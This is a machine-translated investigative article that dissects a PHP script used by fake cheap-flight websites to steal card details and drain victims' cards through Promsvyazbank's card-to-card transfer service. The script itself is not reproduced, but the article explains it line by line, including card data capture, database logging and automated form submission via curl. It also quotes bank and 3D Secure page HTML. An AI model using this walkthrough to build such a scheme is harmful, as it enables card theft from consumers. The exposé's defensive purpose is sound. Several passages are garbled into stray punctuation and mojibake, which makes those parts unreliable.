Penerbangan murah ... Jaringan situs web palsu yang mencuri uang dari kartu. Investigasi kedua. Apa hubungan Promsvyazbank dengan itu?



Sekitar sebulan yang lalu, saya menerbitkan artikel tentang Geektimes, “Tiket pesawat murah ... Atau jaringan situs penipuan yang mencuri uang dari kartu. Investigasi saya. " Publikasi ini menerima tanggapan yang luar biasa dan kelanjutan yang tidak terduga ...

Biarkan saya mengingatkan Anda untuk mereka yang belum membaca bagian pertama. Dalam publikasi berdasarkan kasus nyata, skema digambarkan menggunakan penipu mana yang mencuri uang dari tiket pembeli tiket penerbangan yang gegabah untuk sampai ke situs penjualan tiket palsu. Jumlah situs penipuan semacam itu untuk penjualan tiket pesawat di RuNet ada dalam puluhan dan ratusan (termasuk ditutup). Di situs tersebut, pengguna pertama kali ditampilkan informasi nyata tentang penerbangan, diusulkan untuk melakukan pemesanan dan membayarnya dengan kartu kredit. Semuanya terlihat indah sampai pembeli tiket menemukan bahwa mereka dibiarkan tanpa uang dan tanpa tiket.

Dalam semua kasus yang terdeteksi, untuk mencuri uang, situs-situs tersebut menggunakan layanan bank untuk mentransfer uang dari kartu ke kartu (P2P). Pada bagian pertama, mekanisme bagaimana halaman Tinkov Bank untuk pembayaran dari kartu ke kartu disamarkan dan disematkan dalam situs web yang menipu, sehingga "pembeli" tidak melihat apa-apa, dijelaskan secara rinci. Promsvyazbank juga disebutkan - melalui dia bahwa uang dicuri dari kartu korban dalam cerita yang dijelaskan. Dan jika tidak ada pertanyaan yang tersisa dengan bank TKS, maka dalam kasus Promsvyazbank tidak jelas bagaimana uang itu ditarik. Script utama yang digunakan untuk mencuri uang dieksekusi di sisi server dan tanpa kode sumber orang hanya bisa berasumsi apa yang dilakukannya.

Dan salah satu pengguna Geektimes menghubungi saya dan mengirimkan skrip payp2p.php yang baru-baru ini digunakan di sebagian besar situs penjualan tiket pesawat yang curang. Script ini menggunakan layanan Promsvyazbank untuk mentransfer dari kartu ke kartu. Dan menurut pendapat saya, Promsvyazbank, menyediakan layanannya, yang mudah dibodohi, berkontribusi pada pertumbuhan jumlah penipu internet.

Mungkin ada bank serupa lainnya, tetapi publikasi ini terutama akan berurusan dengan Promsvyazbank.

Sebelum kita memulai analisis skrip itu sendiri, mari kita lihat seperti apa halaman pembayaran dari situs web palsu dan seperti apa halaman terjemahan dari kartu ke kartu Promsvyazbank.

Itu tampak seperti halaman pembayaran di situs penipuan
Saat menganalisis kode HTML halaman pembayaran ini, saya tidak menemukan bagian halaman bank mana pun, iframe bawaan tidak digunakan, skrip tidak digunakan sama sekali, dan halaman itu sendiri sangat sederhana dan tidak terlihat seperti halaman Promsvyazbank. Data yang dimasukkan ke dalam formulir diperiksa bukan oleh skrip, tetapi oleh mekanisme yang dibangun ke dalam peramban - menggunakan atribut "pola" dan "diperlukan" untuk bidang input input dan untuk daftar drop-down yang dipilih. Yaitu bahkan halaman yang disimpan di browser pada drive lokal kemudian tetap "operasional" dan dapat digunakan untuk menguji bagaimana data peta dicegat. Halaman serupa yang disimpan sebelumnya digunakan sebagai bagian dari publikasi ini untuk memahami cara kerja skrip.

Faktanya, halaman ini hanyalah formulir untuk memasukkan nomor kartu. Ketika formulir dikonfirmasi, pemrosesan ditransfer ke program payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php dapat melakukan apa saja. Kode-nya sebelumnya tidak tersedia bagi kami, karena ini berjalan di sisi server. Tapi seperti yang sudah saya tulis, sekarang kita punya kode, dan kita akan tahu segalanya.

Sekarang mari kita lihat bagaimana halaman pembayaran terlihat dari kartu ke kartu di situs Promsvyazbank.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Seperti yang Anda lihat, halaman Promsvyazbank sama sekali tidak seperti halaman pembayaran yang disajikan sebelumnya. Bahkan jumlah kolom input untuk nomor kartu tidak cocok.

Mari kita lihat kode HTML halaman PSB untuk mengetahui cara kerjanya. Yang perlu kita ketahui adalah dalam beberapa baris berikut:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Bagian ini berarti bahwa halaman pembayaran sungguhan terletak pada domain yang berbeda, dan apa yang kita lihat di situs web Promsvyazbank ditampilkan dalam "jendela" menggunakan teknologi iframe.

Saya ingin tahu siapa yang memiliki domain 3ds.payment.ru.
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



Domain 3ds.payment.ru juga milik Promsvyazbank. Kami akan mengingat domain ini, masih akan ditemukan dalam deskripsi lebih dari sekali.

Mari kita lihat apa halaman yang disematkan Promsvyazbank di situsnya, dan mungkin beberapa situs lainnya.

https://3ds.payment.ru/P2P/card_form.html


Ini adalah halaman asli yang digunakan untuk transfer dari kartu ke kartu. Seperti yang Anda lihat, halaman ini tanpa batas. Ini dilakukan dengan sengaja untuk membuatnya lebih nyaman untuk dibangun di situs lain.

Dalam kode HTML halaman ini kami tertarik pada bagian ini:



Ini adalah kolom input tersembunyi untuk menyimpan informasi layanan. Kami juga akan mengingat halaman ini. Dan di mana itu digunakan akan dijelaskan nanti.

Bagian pengantar selesai, mari kita beralih ke bagian yang paling menarik dan lihat bagaimana script payp2p.php bekerja atau bagaimana cara kerjanya.

Skripnya sederhana dan tidak memerlukan pengetahuan mendalam tentang bahasa pemrograman PHP untuk memahaminya. Untuk kenyamanan, saya memecahnya menjadi beberapa bagian. Di sebelah kiri adalah nomor baris yang dapat direferensikan. Script sama sekali tidak berubah dalam bentuk di mana ia diterima. Setelah setiap bagian kode, dekripsi dan contoh nilai-nilai variabel selama eksekusi program akan disajikan (mis. Sesuatu yang mirip dengan debugging). Di beberapa tempat, berkomentar berlebihan mungkin dilakukan - ini dilakukan agar pembaca non-pemrograman juga dapat memahami arti kode program.

Untuk pengujian, kami memerlukan formulir di mana Anda harus memasukkan data kartu yang pembayarannya seharusnya. Kami akan menggunakan formulir yang disimpan sebelumnya. Seperti apa bentuknya di situs penipuan ditunjukkan pada gambar di awal artikel. Tentang formulir akan ditulis lebih lanjut di bawah ini. Untuk pengujian, masukkan nomor kartu 1111.2222.3333.4444.

Mari kita mulai.



Baris 3 - tidak menjalankan perintah apa pun.
Baris 4 - File dbconfig.php terpisah dimuat di mana parameter untuk terhubung ke database MySQL disimpan. Tangkapan layar kode dbconfig.php dan analisisnya ada di bawah ini.
Baris 6 - kita terhubung ke server MySQL, di dalam database yang mana kita akan kemudian menyimpan data tentang kartu curian dan transfer uang yang dilakukan. Baris ini secara bersamaan terhubung ke server MySQL dan keluar dari program jika koneksi gagal karena suatu alasan.
Baris 11 - pilih pengodean untuk bekerja dengan database MySQL.
Baris 13 - Kami terhubung ke server MySQL sebelumnya, sekarang kami memilih database yang akan kami gunakan.

Skrip payp2p.php memulai kerjanya setelah pengguna yang ditipu mengisi formulir pada halaman yang mirip dengan halaman pembayaran online reguler. Dengan mengklik tombol “Bayar” pada formulir, skrip payp2p.php menerima data yang dimasukkan dalam formulir. Data dari formulir ke skrip ditransmisikan menggunakan metode POST.

Baris 16 - nomor kartu kredit yang dimasukkan dalam formulir di halaman sebelumnya disimpan ke dalam variabel $ num.
Baris 17 - bulan / tahun masa berlaku kartu disimpan dalam variabel $ date.
Baris 18 - Kode CVV kartu disimpan ke variabel $ cvv.
Baris 19 - dalam variabel $ code, kode tertentu dihasilkan sebelumnya ketika menempatkan "pesanan untuk tiket pesawat". Kode ini digunakan agar pengguna dapat melihat pesanannya melalui tautan khusus. Kode yang sama digunakan untuk mengidentifikasi pesanan (pada halaman pembayaran, untuk secara otomatis menampilkan jumlah pembayaran; jika disimpan oleh scammers ketika menyimpan ke "buku penjualan", kode ini juga dikirimkan ke formulir pembayaran, mungkin sebagai pengidentifikasi transfer (lebih lanjut tentang ini di bawah ini).
Baris 21-22 Suatu baris terbentuk - query SQL, yang kemudian dieksekusi. Kueri SQL menambahkan nilai pengidentifikasi pesanan, jumlah, tanggal kedaluwarsa kartu, kode CVV kartu, dan waktu saat ini yang tepat ke tabel 'kartu'. Contoh catatan dalam database di bawah ini.

Contoh Informasi Debugging


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

Untuk sementara waktu mengalihkan perhatian kami ke file dbconfig.php.



Berikut adalah parameter untuk menghubungkan ke database. Dari apa yang mungkin menarik:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



Baris 28 - file aviacfg.php pihak ketiga terhubung. Ini adalah file konfigurasi yang menyimpan nomor kartu penerima dan pengaturan lainnya.
Baris 29 - Array dibuat dari nomor kartu yang dipisahkan oleh satu baris dalam file konfigurasi.
Baris 30-31 - Variabel $ crd secara acak menetapkan jumlah salah satu kartu.

Mari kita lihat apa yang kita miliki di file aviacfg.php



Di sini kita melihat bahwa variabel $ aviacfg adalah array yang berisi nilai-nilai diskon (diskon) dan kartu (nomor kartu yang diharapkan penarikan). Dalam contoh ini, hanya ada satu nomor kartu, tetapi bisa ada nomornya. Nama file (aviacfg.php) dan variabel ($ aviacfg) itu sendiri menunjukkan area skrip mana yang dipertajam. Nilai diskon menentukan persentase harga pada situs web palsu yang akan ditampilkan lebih murah daripada yang sebenarnya dijual di situs web tiket penerbangan “jujur”. Pemilik situs web palsu dapat dengan cepat membuat harga tiket yang ditampilkan lebih murah. Semakin rendah harga yang ditampilkan, semakin besar kemungkinan salah satu calon pembeli akan berisiko membeli tiket di situs yang tidak dikenal. Tentang diskon akan ada komentar nanti bagaimana tepatnya itu diterapkan dalam kode.



Selanjutnya, jumlah transfer, jumlah kartu tempat transfer dilakukan, dan kode yang mengidentifikasi pesanan tiket pesawat di situs web penipuan disimpan dalam Database MySQL. Contoh catatan dalam database akan disajikan di bawah ini.

Contoh Informasi Debugging




Baris 40 - variabel $ p112 diberi nilai dengan nomor kartu yang dimasukkan sebelumnya dalam formulir.
Baris 41-51 - Nomor kartu dibagi menjadi bagian-bagian dari empat digit.
Baris 53-57 - Panjang nomor kartu diperiksa. Jika dalam nomor kartu jumlah karakter berbeda dari 16 atau 18, terjadi jalan keluar. Pesan ditampilkan selama lima detik, lalu dialihkan ke halaman lain. Dalam contoh ini, pengembaliannya akan ke halaman pesanan di situs penipuan.
Sejalan 56 "Iaaa? Iua aaiiua ea? Ou" ketika mengonversi penyandian ISO8859-1 => Windows-1251 sesuai dengan teks: "Data kartu tidak valid."
Baris 58-61 - variabel $ p4, $ p5, $ p6, $ p11 diberikan nilai yang dimasukkan sebelumnya dalam formulir (tanggal kedaluwarsa kartu, kode CVV, jumlah pembayaran).
Baris 63 - Dalam variabel $ info semua data kartu dan jumlah transfer disimpan. Saat membentuk, jeda baris "\ n" dan pemisah "### ..." digunakan. Variabel ini tidak digunakan di tempat lain. Saat menyelesaikan skrip, skrip dapat digunakan untuk menyimpan catatan dalam file teks biasa atau untuk ditampilkan saat debugging.

Contoh Informasi Debugging




Baris 66-75 - Ini sebenarnya merupakan duplikasi dari blok garis 27-36. Sekali lagi, kartu penerima dipilih secara acak dari file konfigurasi aviacfg.php, dan semua ini disimpan dalam tabel database card_balance. Dengan demikian, dalam tabel card_balance, dengan setiap upaya untuk mentransfer, dua catatan akan dibuat. Jika hanya satu kartu penerima yang tersumbat di aviacfg.php, dengan pengambilan sampel acak, tentu saja, kartu yang sama akan selalu dipilih. Dalam hal ini, entri dalam tabel card_balance hanya akan diduplikasi. Tetapi jika beberapa nomor kartu tersumbat di aviacfg.php, dengan pengambilan sampel acak hasilnya akan berbeda dan akan ada satu catatan dalam tabel card_balance, yang pertama salah dan yang kedua benar.

Ini adalah kesalahan, dan pembeli naskah (akan ada komentar terpisah tentang mereka) dapat meminta pengembang untuk mengkompensasi kerusakan moral yang terkait dengan fakta bahwa terjemahan nyata setidaknya dua kali lebih sedikit dari entri log.

Contoh Informasi Debugging


Contoh Entri Database MySQL
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


Harap dicatat bahwa dalam kasus pertama, hanya kartu pengirim tanpa jumlah, tetapi dengan waktu yang tepat, disimpan dalam tabel database MySQL, dan dalam kasus kedua, data tentang transfer yang dilakukan (lebih tepatnya, tentang upaya transfer) disimpan. Nomor dan jumlah kartu penerima disimpan, data pengirim tidak disimpan di tabel kedua. Dalam kedua kasus, "ID pesanan" juga disimpan.

Bagian pertama dari skrip, yang dijelaskan di atas, dapat secara sewenang-wenang disebut "entri dalam buku penjualan untuk akuntansi." Dia tidak memiliki hubungan dengan transfer uang. Untuk mentransfer uang, Anda dapat melakukannya tanpa menyimpan data ke basis data. Namun demikian, kami melihat bahwa data kartu disimpan, yang berarti bahwa di masa depan mereka dapat juga digunakan untuk mencuri uang dari kartu “dalam mode manual”. Data kartu dapat dijual atau digunakan, misalnya, untuk membayar iklan di Yandex.Direct, seperti yang ditunjukkan pada artikel sebelumnya.

Bagian kedua dari skrip berkaitan dengan transfer uang melalui situs Promsvyazbank 3ds.payment.ru.



Baris 78 dari komentar menunjukkan bahwa diasumsikan bahwa halaman konfirmasi untuk pembayaran yang berhasil memiliki alamat seperti "/sus.php?cd=BX3FKT". Jika berhasil, pengguna harus dikembalikan ke alamat ini.

Baris 80-91 Untuk melakukan terjemahan, Anda harus terlebih dahulu pergi ke halaman layanan.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


Halaman ini menampilkan sesuatu seperti baris ini:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" adalah ~ "Nomor Pesanan", "TIMESTAMP" adalah cap waktu saat ini. Jika halaman di-refresh, data baru selalu dikeluarkan.

Untuk membaca halaman web atau mengirim data ke halaman web, gunakan perintah curl. Curl (cURL) memungkinkan Anda untuk terhubung secara terprogram ke server web menggunakan berbagai protokol, termasuk http dan https. Dalam kasus kami, curl adalah peramban web perangkat lunak yang dapat menyimpan halaman web ke variabel. Halaman yang disimpan dalam variabel adalah garis yang sangat panjang dengan kode sumber HTML halaman ini. Anda dapat bekerja dengan variabel string seperti itu dengan cara yang sama dengan string apa pun - Anda dapat mencari teks, mengganti teks, dll. Keriting dalam skrip yang dijelaskan akan digunakan beberapa kali.

Baris 80 - URL disimpan dalam variabel $ login_url.
Baris 81 - URL disimpan dalam variabel $ agent.
Baris 82 - Menginisialisasi sesi CURL.
Baris 83-90 - Parameter ditetapkan untuk sesi dengan CURL (alamat halaman disimpan sebelumnya dalam $ login_url; pengidentifikasi browser yang sebelumnya disimpan dalam $ agent; halaman dari mana halaman diarahkan atau sebaliknya disebut; REFERER; Pengaturan COOKIE, dll.
Baris 91 - Sebagai hasil dari perintah curl_exec, halaman web akan diperoleh secara terprogram, yang akan disimpan dalam variabel $ page.
Baris 93-95 Halaman web tersimpan $ page berisi ~ "nomor pesanan" ORDER_NUM, yang disimpan dalam variabel $ ord.
Baris 96-98 Halaman web $ page yang disimpan berisi timestamp TIMESTAMP, yang disimpan dalam variabel $ tim.

Contoh Informasi Debugging




Sekarang "peramban perangkat lunak" perlu membuka halaman https://3ds.payment.ru/P2P_ACTION/card_form.html. Ini adalah halaman pembayaran yang sama, tangkapan layar yang ditunjukkan di atas. Ini adalah halaman dengan formulir, bagian dari bidang layanan yang disembunyikan. Bagian dari kode HTML dengan bidang input tersembunyi ditampilkan di atas. Beberapa nilai bidang tersembunyi ini perlu diingat untuk menggunakannya nanti saat mengirimkan formulir.

Baris 99 - Kami menyimpan alamat halaman ke dalam variabel $ url.
Baris 100 - Parameter untuk sesi dengan URL ditetapkan (dalam hal ini, hanya alamat halaman. Pengaturan lainnya tetap sama).
Baris 101-102 Variabel yang sebelumnya digunakan $ halaman dan $ bagian dihapus.
Baris 103 - Sebagai hasil dari perintah curl_exec, halaman web akan diperoleh secara programatis, yang akan disimpan dalam variabel $ page.
Baris 104-106 Halaman web $ page yang disimpan berisi nilai bidang TERMINAL, yang disimpan dalam variabel $ term.
Baris 107-109 Halaman web $ page yang disimpan berisi nilai bidang TRTYPE, yang disimpan dalam variabel $ type.
Baris 110-112 Halaman web $ page yang disimpan berisi nilai bidang MERCHANT, yang disimpan dalam variabel $ merch.
Baris 113-115 Halaman web $ page yang disimpan berisi nilai bidang EMAIL, yang disimpan dalam variabel $ ml.

Secara umum, nilai-nilai ini dalam bentuk yang ditunjukkan tidak pernah berubah. Dan mereka dapat disimpan dalam kode sebagai konstanta dan tidak diterima setiap saat. Jelas, mendapatkan nilai-nilai bidang ini dilakukan untuk keamanan tambahan jika satu atau lebih bidang berubah di masa depan.

Deskripsi beberapa bidang. Deskripsi lengkap dari semua bidang mudah ditemukan di Google.

TERMINAL - Nomor unik dari terminal virtual outlet
MERCH_NAME - Nama Point of
sale MERCHANT - Jumlah outlet yang ditetapkan oleh bank
TRTYPE - Jenis transaksi yang diminta (Pembayaran - 1, Batalkan - 22, Pra-otorisasi - 0, Penyelesaian penyelesaian - 21)
EMAIL - Alamat email untuk mengirim peringatan

Contoh Informasi Debugging

, - . ($page)

EMAIL di sini, ini adalah kasus epik. Siapa peduli, materi tambahan tentang EMAIL ini di akhir artikel di aplikasi di bawah spoiler.



Di sini kita melihat blok besar. Fakta bahwa tampilannya besar dijelaskan oleh lebar kolom terbatas dalam publikasi dan presentasi kode yang mudah oleh penulis skrip. Semua sama dapat ditempatkan dalam 10 baris kode, tetapi kemudahan membaca dan mengedit kode akan menderita.

Baris 120 - Dalam variabel $ url simpan alamat halaman.
Baris 121-123 - Tetapkan parameter untuk sesi dengan URL.
Baris 124 - array $ ncrd dibuat dari nomor kartu penerima dalam variabel string $ crd, yang akan berisi bagian-bagian dari nomor kartu yang dibagi menjadi empat.
Baris 125 - Header HTTP disimpan dalam variabel array $ header.
Baris 126 - Parameter ditetapkan untuk sesi dengan CURL (HTTP header dari variabel $ header.
Baris 135-164 - array $ postL dibuat, setiap nilai yang akan sesuai dengan bidang formulir pada halaman pembayaran (nomor kartu pengirim, dibagi empat; tanggal kedaluwarsa kartu pengirim) ; Kartu CVC pengirim; nomor kartu penerima empat arah; tanggal kedaluwarsa kartu penerima; kartu CVC penerima; jumlah pembayaran; "nomor pesanan"; deskripsi untuk halaman konfirmasi; nomor terminal; nama tempat penjualan; email untuk pemberitahuan; stempel waktu; ; nomor kartu pengirim tidak dipecah menjadi bagian-bagian; nomor kartu penerima tidak dipecah menjadi bagian-bagian; data pada perangkat lunak dan perangkat keras "pada komputer pengirim", yang dirancang untuk membuat tampilan pengguna nyata, bukan skrip).
Baris 135 - Parameter ditetapkan untuk sesi CURL (data dikirim dalam permintaan HTTP POST. Dalam kasus ini, array $ postL dikonversi ke string, yang merupakan string yang disandikan url, seperti 'p1=val1&p2=val2&...'.

Data yang lebih jelas ditransmisikan ditampilkan dalam tangkapan layar dengan informasi debug di bawah ini.

Contoh Informasi Debugging




Baris 166 - Sebagai hasil dari perintah curl_exec, data yang disiapkan akan dikirim ke formulir halaman web menggunakan metode POST. Untuk halaman web, pengiriman seperti itu akan terlihat sama persis seperti jika pengguna biasa mengisi dan mengkonfirmasi formulir di browser biasa. Halaman dengan hasil pengiriman data ke formulir akan disimpan dalam variabel $ page.
Baris 167 - Sesi CURL berakhir.
Baris 168 - Di halaman yang dihasilkan, yang disimpan di halaman variabel $, dan seperti yang kita ingat, adalah garis panjang, "Kesalahan" substring dicari.
Baris 169-173 - Jika "Kesalahan" substring ditemukan, maka selama 5 detik pesan kesalahan "Kartu tidak cocok" ditampilkan dan kemudian skrip keluar dan mengarahkan ulang halaman yang ditampilkan di browser ke "halaman pesanan". Jika pengguna terus-menerus, maka ia dapat sekali lagi mencoba untuk menjalani prosedur pembayaran.

Halaman yang ditampilkan jika ada kesalahan.



Penyebab kesalahan yang dikeluarkan bank mungkin berbeda (kesalahan dalam nomor kartu, dana tidak mencukupi, kesalahan otorisasi, dan banyak lainnya). Namun untuk script payp2p.php tidak ada perbedaan. Setelah pembayaran gagal, itu berarti pengguna diarahkan ke halaman di mana Anda dapat mengulangi upaya untuk membayar. Halaman tempat kesalahan dikembalikan dapat dengan mudah diubah tergantung pada tugas.

Contoh kode HTML dikembalikan oleh halaman bank, jika terjadi kesalahan
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Contoh informasi debug jika bank melaporkan kesalahan saat membayar


Baris 174 - Jika tidak ada jalan keluar sebelumnya dari skrip karena kesalahan saat membayar, ini berarti semuanya berjalan seperti yang dimaksudkan. Pada halaman yang sebelumnya disimpan dalam variabel $ page, semua substring dengan alamat diganti dengan https://3ds.payment.ru/cgi-bin/cgi_linkstring dengan alamat tipe mydomain.ru/sus.php?cd = ... - ini adalah alamat halaman di situs penipuan yang harus dicapai oleh pengguna jika pembayaran berhasil. (Pada halaman seperti itu, pengguna dapat berterima kasih dan diberitahu bahwa tiket elektronik telah dikirim melalui pos). Setelah mengganti substring, hasilnya disimpan dalam variabel $ pp.

Baris 175 - Variabel $ pp ditampilkan di browser. Karena variabel $ pp adalah string dengan kode HTML lengkap dari halaman, pengguna akan melihat beberapa halaman. Halaman yang ditampilkan tidak akan berbeda secara eksternal dari halaman asli yang diberikan bank - perbedaannya hanya ada di dalam kode HTML di tempat di mana tautan diganti.

Jadi, apa halaman ini yang diberikan bank jika memasukkan nomor kartu yang benar, dan di mana skrip tersebut mengganti tautan ke halaman pembayaran yang berhasil di situs web palsu? Dan setelah semua, mungkin, masih harus ada cek 3D Secure dari bank pengirim, yang tidak akan memungkinkan pembayaran? Kode berakhir di tempat yang paling menarik dan ada keraguan bahwa tanpa skrip rumit, formulir, dll. Itu bisa berfungsi.

. - . . .

Saya memasukkan nomor kartu bank saya ke file aviacfg.php. Saya akan mencoba menerima transfernya, jika tentu saja berhasil. Saya membuka halaman formulir yang sebelumnya disimpan di disk. Formulir ini disimpan di browser ketika mengunjungi salah satu situs palsu, yang pada saat penulisan bagian pertama dari publikasi, masih berfungsi. Formulir sudah disimpan dengan jumlah 2.915 rubel, tetapi untuk pengujian itu terlalu banyak. Mari kita ubah. Dalam bentuk apa pun, ada bidang yang terlihat dan tersembunyi. Bidang tersembunyi (input, pilih) tidak berbeda dengan bidang biasa, kecuali bidang itu tidak terlihat. Bidang tersebut digunakan untuk menyimpan informasi layanan yang tidak perlu dilihat pengguna. Kolom input disembunyikan dengan dua cara.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

Dalam kasus kami, bidang formulir disembunyikan menggunakan type = "hidden".

Kami menekan di browser F12 (mode pengembangan web). Temukan tempat yang tepat dalam kode HTML dan ubah tipe teks = "tersembunyi" menjadi ketik = "teks" untuk dua atau lebih elemen input. Sekarang kita melihat bidang di mana jumlah dan kode layanan (kode) disimpan. Kurangi jumlahnya dari 2915rub menjadi 20rub. Sekarang masukkan data kartu bank kedua Anda ke dalam formulir. Uang harus didebit dari kartu ini jika memungkinkan untuk melakukan transfer.



Kami mengkonfirmasi formulir dengan mengklik tombol "Bayar". Setelah mengklik tombol, skrip payp2p.php diluncurkan, yang menerima data yang dimasukkan ke dalam formulir.

Yang mengejutkan saya, setelah memasukkan nomor kartu asli dan mengklik tombol "Bayar" pada formulir tes, saya melihat halaman Sberbank (bank tempat transfer dilakukan) di layar, meminta saya untuk memasukkan kode konfirmasi 3D Secure.



Juga di ponsel saya, saya menerima SMS dari Sberbank dengan kode.



Sebelum melakukan pengujian dengan kartu kredit yang valid, saya berasumsi bahwa untuk mengonfirmasi kode 3D Secure, kode tersebut harus “diperdaya” ke pengguna dengan cara tertentu, dan kemudian secara terprogram secara terprogram mentransfer konfirmasi 3D Secure ke formulir ini. Namun, semuanya ternyata jauh lebih sederhana. Setelah data untuk mentransfer dari kartu ke kartu dikirim ke situs web Promsvyazbank, browser menampilkan bentuk bank penerbit kartu dari mana transfer dilakukan. Dalam kasus saya, ini Sberbank. Formulir ini bahkan tidak perlu dipalsukan. Formulir konfirmasi ditampilkan di situs web HTTPS Sberbank. Korban penipu sendiri langsung ke formulir ini yang mereka kenal memasukkan kode konfirmasi. Setelah itu, jika transfer lewat, maka uangnya didebit. Meskipun secara teori dimungkinkan untuk memprotes transfer semacam itu, jauh dari kenyataan bahwa uang itu akan dikembalikan.Kemungkinan pengembalian uang dipengaruhi oleh banyak faktor, termasuk seberapa cepat "korban" akan berlaku untuk banknya.

Kode HTML dari halaman yang Sberbank berikan untuk mengkonfirmasi 3D Secure di bawah spoiler. Kode diperoleh selama pengujian dengan menulis variabel $ page ke file teks. Baris 166 dari skrip payp2p.php.

Kode Halaman HTML 3D Aman Sebelum Penggantian Baris
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Kode HTML halaman setelah itu menggantikan bagian teks, di bawah spoiler. Kode diperoleh selama pengujian dengan menulis variabel $ pp ke file teks. Baris 174 dari skrip payp2p.php.

Kode Halaman HTML 3D Aman Setelah Mengganti String
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
